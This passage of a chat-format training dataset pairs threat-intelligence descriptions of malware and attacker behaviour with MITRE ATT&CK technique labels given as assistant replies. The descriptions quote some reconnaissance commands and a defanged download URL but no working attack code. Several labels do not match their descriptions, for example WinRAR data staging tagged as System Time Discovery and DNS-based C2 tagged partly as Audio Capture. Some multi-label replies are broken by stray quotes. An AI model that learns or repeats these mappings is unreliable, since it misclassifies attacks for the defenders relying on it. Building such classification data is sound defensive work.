    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "And, according to the collected config files, the group upgraded their malware communications from plain text http to encrypted https in October 2013"
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By using these methods, Kimsuky can gain login and password information and/or launch malware outside of some application allowlisting solutions"
            },
            {
                "role": "assistant",
                "content": "T1133 - External Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "copies itself to disk and creates an associated run key Registry entry to establish."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "WhisperGate can locate files based on hardcoded file extensions."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has sent malware that required users to hit the enable button in Microsoft Excel to allow an .iqy file to be downloaded."
            },
            {
                "role": "assistant",
                "content": "T1204 - User Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Mythic supports DNS-based C2 profiles."
            },
            {
                "role": "assistant",
                "content": "T1071.004 - Application Layer Protocol: DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT3 has a tool that can delete files."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Some APT40 malware tools can evade typical network detectiona by leveraging legitimate websites, such as GitHub, Google, and Pastebin for initial C2 communications"
            },
            {
                "role": "assistant",
                "content": "T1102 - Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Task 0x1: react_exec The react_exec command appears to execute a payload received from the server. Interestingly it attempts to first execute the payload directly from memory. Specifically it invokes a function named ei_run_memory_hrd which invokes the Apple NSCreateObjectFileImageFromMemory, NSLinkModule, NSLookupSymbolInModule, and NSAddressOfSymbol APIs to load and link the in-memory payload. In some cases the file will be set to executable via a call to chmod. Specifically it instructs the malware to spawn a background thread to execute a function named eilf_rglk_watch_routine. This function creates an event tap (via the CGEventTapCreate API), add it to the current runloop, then invokes the CGEventTapEnable to activate the event tap"
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "surveys a system upon check-in to discover the system time by using the net time command."
            },
            {
                "role": "assistant",
                "content": "T1124 - System Time Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cadelspy has the ability to capture screenshots and webcam photos."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses the command reg query “HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\InternetSettings”."
            },
            {
                "role": "assistant",
                "content": "T1012 - Query Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FoggyWeb can allow abuse of a compromised AD FS server's SAML token."
            },
            {
                "role": "assistant",
                "content": "T1550 - Use Alternate Authentication Material"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses svchost.exe to execute a malicious DLL included in a new service group."
            },
            {
                "role": "assistant",
                "content": "T1569.002 - System Services: Service Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The following commands are supported by the malware:  Command ID  Description  00 00 00  Content after command ID is written to: C:\\Users\\[Username]\\AppData\\Local\\Temp\\notepad1.exe  00 00 01  Deletes the files: C:\\Users\\[Username]\\AppData\\Local\\Temp\\notepad.exe C:\\Users\\[Username]\\AppData\\Local\\Temp\\newnotepad.exe  00 00 02  Malware exits  00 00 03  Malware downloads the URL that follows the command ID"
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery', 'T1204 - User Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "RTM samples have been signed with a code-signing certificates."
            },
            {
                "role": "assistant",
                "content": "T1553.002 - Code Signing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can execute commands remotely by creating a new schedule task on the remote system"
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TEMP.Veles has used port-protocol mismatches on ports such as 443, 4444, 8531, and 50501 during C2."
            },
            {
                "role": "assistant",
                "content": "T1571 - Non-Standard Port"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HAMMERTOSS is known to use PowerShell."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "UBoatRAT has used GitHub and a public blog service in Hong Kong for C2 communications."
            },
            {
                "role": "assistant",
                "content": "T1102.002 - Bidirectional Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "As the final reconnaissance step, if the system is domain-joined, BoomBox executes an LDAP query to gather data such as distinguished name, SAM account name, email, and display name of all domain users via the filter (&amp;(objectClass=user)(objectCategory=person"
            },
            {
                "role": "assistant",
                "content": "T1087.003 - Email Account', 'T1087.002 - Account Discovery: Domain Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The dropped executable (MD5: 78734CD268E5C9AB4184E1BBE21A6EB9) contains the compressed FELIXROOT dropper component in the Portable Executable (PE) binary overlay section"
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Nebulae can use DLL side-loading to gain execution."
            },
            {
                "role": "assistant",
                "content": "T1574.002 - Hijack Execution Flow: DLL Side-Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Sidewinder has used the Windows service \"winmgmts:\\\\.\\root\\SecurityCenter2\" to check installed antivirus products."
            },
            {
                "role": "assistant",
                "content": "T1518.001 - Software Discovery: Security Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cobalt Strike's \"execute-assembly\" command can run a .NET executable within the memory of a sacrificial process by loading the CLR."
            },
            {
                "role": "assistant",
                "content": "T1620 - Reflective Code Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "REvil has used encrypted strings and configuration files."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Nebulae can use CMD to execute a process."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT39 has used malware to turn off the \"RequireSigned\" feature which ensures only signed DLLs can be run on Windows."
            },
            {
                "role": "assistant",
                "content": "T1553.006 - Subvert Trust Controls: Code Signing Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Confucius has used a file stealer that can examine system drives, including those other than the C drive."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "WastedLocker has a command to take ownership of a file and reset the ACL permissions using the \"takeown.exe /F filepath\" command."
            },
            {
                "role": "assistant",
                "content": "T1222.001 - File and Directory Permissions Modification: Windows File and Directory Permissions Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Imminent Monitor has deleted files related to its dynamic debugger feature."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has several modules that search the Windows Registry for stored credentials: Get-UnattendedInstallFile, Get-Webconfig, Get-ApplicationHost, Get-SiteListPassword, Get-CachedGPPPassword, and Get-RegistryAutoLogon."
            },
            {
                "role": "assistant",
                "content": "T1552.002 - Unsecured Credentials: Credentials in Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A variant of Elise executes \"dir C:\\progra~1\" when initially run."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can drop a mouse-logger that will take small screenshots around at each click and then send back to the server."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The payload has a function it calls early on that tests to see which DNS query types are able to successfully reach the C2 server.  It iterates through a list of types and the first DNS type to receive a response from the C2 server will be used for all communications between the payload and the C2 server, which are in the following order (editor’s note: AC is not a  DNS record type but is a mode where the trojan will perform a request for an A record requiring ac as a subdomain):  A AAAA AC – (see note above) CNAME MX TXT SRV SOA  The payload uses the built-in Windows nslookup application with specific parameters and specially crafted subdomains to communicate with the C2"
            },
            {
                "role": "assistant",
                "content": "T1123 - Audio Capture', 'T1071 - Application Layer Protocol', 'T1041 - Exfiltration Over C2 Channel', 'T1008 - Fallback Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT33 has utilized PowerShell to download files from the C2 server and run various scripts."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses AES and a preshared key to decrypt the custom Base64 routine used to encode strings and scripts."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Agent Tesla can inject into known, vulnerable binaries on targeted hosts."
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "From one of the hosts, we discovered that the actor executed a credential harvesting tool named Responder and moved laterally using Windows commands. Lazarus overcame network segmentation, exfiltrating data from a completely isolated network segment cut off from the internet by compromising a router virtual machine, as we explain below under “Overcoming network segmentation"
            },
            {
                "role": "assistant",
                "content": "T1557.001 - Adversary-in-the-Middle: LLMNR/NBT-NS Poisoning and SMB Relay"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SUNSPOT was identified on disk with a filename of \"taskhostsvc.exe\" and it created an encrypted log file at \"C:\\Windows\\Temp\\vmware-vmdmp.log\"."
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Writing executables to a randomly-selected directory under Program Files, and naming the EXE to match the chosen directory name, or, if that fails, writing the executable to a system-generated temporary file name, using the EXE extension   3"
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Group5 disguised its malicious binaries with several layers of obfuscation, including encrypting the files."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Rising Sun has identified the OS product name from a compromised host by searching the registry for `SOFTWARE\\MICROSOFT\\Windows NT\\ CurrentVersion | ProductName`."
            },
            {
                "role": "assistant",
                "content": "T1012 - Query Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "One variant of  uses a Microsoft OneDrive account to exchange commands and stolen data with its operators."
            },
            {
                "role": "assistant",
                "content": "T1102 - Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "We’ve seen the adversary staging data on a remote system or on the local system. Most of the times the data is compressed and copied at the same time. Only a handful of times the adversary copies the data first before compressing (archive collected data) and exfiltrating it. The adversary compresses and encrypts the data by using WinRAR from the command-line"
            },
            {
                "role": "assistant",
                "content": "T1124 - System Time Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "For persistence and remote control, the script downloads another base64-encoded Python script from hxxps://ptpb[.]pw/OAZG. After several steps of de-obfuscation, we found the attackers using EmPyre for post-exploitation control. EmPyre is a Python post-exploitation agent built on cryptologically-secure communications and a flexible architecture"
            },
            {
                "role": "assistant",
                "content": "T1059.006 - Command and Scripting Interpreter: Python"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Figure 5 shows the splash image displayed by the Enigma protector prior to executing the malicious payload, which is a wallpaper image available at wallpaperswide.com. The splash screen feature acts as a sandbox evasion technique, as it requires user interaction in the form of clicking the screen before the malicious code runs"
            },
            {
                "role": "assistant",
                "content": "T1497.002 - User Activity Based Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Frankenstein has used trojanized documents that retrieve remote templates from an adversary-controlled website."
            },
            {
                "role": "assistant",
                "content": "T1221 - Template Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The size of the image is more than 600KB and embedded in it is the encrypted IcedID main module. The encryption algorithm is RC4 and the keys are also embedded in the image at specific offset"
            },
            {
                "role": "assistant",
                "content": "T1027.003 - Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FlawedAmmyy can execute batch scripts to delete files."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The files are extracted to a newly created folder with a randomized name under the same path, and the zip file is then deleted. The “AJWrDz.exe” executable path is written to the registry Run key “HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run” to achieve persistency"
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Agent Tesla has he ability to perform anti-sandboxing and anti-virtualization checks."
            },
            {
                "role": "assistant",
                "content": "T1497 - Virtualization/Sandbox Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The FunnyDream Keyrecord component can capture keystrokes."
            },
            {
                "role": "assistant",
                "content": "T1056.001 - Input Capture: Keylogging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Hi-Zor encrypts C2 traffic with TLS."
            },
            {
                "role": "assistant",
                "content": "T1573.002 - Asymmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Some versions of the Orz backdoor have 32- and 64-bit embedded DLLs, stored internally as base64 strings. Their purpose is to simply run another binary. These are used as loaders for future executable payloads, using the well-known process hollowing technique. To use the MockDll, the backdoor creates a configuration .ini file like that shown in Figure 14"
            },
            {
                "role": "assistant",
                "content": "T1055.012 - Process Injection: Process Hollowing', 'T1218.010 - Signed Binary Proxy Execution: Regsvr32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "To exploit the Log4j vulnerability (CVE-2021-44228), the attackers chose one of the publicly available open-source JNDI Exploit Kits, since removed from GitHub due to its enormous popularity following the vulnerability emergence. There are multiple analysis papers that explain how the vulnerability can be exploited, so we will skip the details of the actual exploitation step"
            },
            {
                "role": "assistant",
                "content": "T1190 - Exploit Public-Facing Application"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "CosmicDuke collects LSA secrets."
            },
            {
                "role": "assistant",
                "content": "T1003.004 - OS Credential Dumping: LSA Secrets"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Sleeps the downloader. After that, it downloads a file from Discord. The downloaded file is in reverse byte order. Downloads file from Discord. The downloader restores the downloaded file by reversing the bytes within the file. Method that reverses the downloaded file. The restored file is a DLL and serves as the third stage of the infection chain. Retrieving third-stage public methods using Type.GetMethods"
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer', 'T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "It is used by the financially motivated GOLD SOUTHFIELD threat group, which distributes ransomware via exploit kits, scan-and-exploit techniques, RDP servers, and backdoored software installers. CTU™ researchers attribute GandCrab to the GOLD GARDEN threat group"
            },
            {
                "role": "assistant",
                "content": "T1190 - Exploit Public-Facing Application', 'T1133 - External Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Sandworm Team has exploited vulnerabilities in Microsoft PowerPoint via OLE objects (CVE-2014-4114) and Microsoft Word via crafted TIFF images (CVE-2013-3906)."
            },
            {
                "role": "assistant",
                "content": "T1203 - Exploitation for Client Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An  loader Trojan uses a batch script to run its payload."
            },
            {
                "role": "assistant",
                "content": "T1064 - Scripting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Industroyer uses a custom DoS tool that leverages CVE-2015-5374 and targets hardcoded IP addresses of Siemens SIPROTEC devices."
            },
            {
                "role": "assistant",
                "content": "T1499.004 - Application or System Exploitation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "WellMess can communicate to C2 with mutual TLS where client and server mutually check certificates."
            },
            {
                "role": "assistant",
                "content": "T1573.002 - Asymmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The executable dispci.exe appears to be derived from the code base of the legitimate utility DiskCryptor. It acts as the disk encryption module which also installs the modified bootloader and prevents the normal boot-up process of the infected machine."
            },
            {
                "role": "assistant",
                "content": "T1561.002 - Disk Structure Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "OverWatch continued to track the threat actor’s malicious behavior as they downloaded additional scripts and then executed a Base64-encoded command via PowerShell1 to retrieve malware from their toolkit"
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Otherwise, the malware bypasses UAC and escalates privileges with two different approaches – one for Windows 10 and the other for older versions"
            },
            {
                "role": "assistant",
                "content": "T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Bumblebee can use `cmd.exe` to drop and run files."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TA459 has used PowerShell for execution of a payload."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kevin can hide the current window from the targeted user via the `ShowWindow` API function."
            },
            {
                "role": "assistant",
                "content": "T1564.003 - Hide Artifacts: Hidden Window"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Like many threat groups, TG-3390 conducts strategic web compromises (SWCs), also known as watering hole attacks, on websites associated with the target organization's vertical or demographic to increase the likelihood of finding victims with relevant information"
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
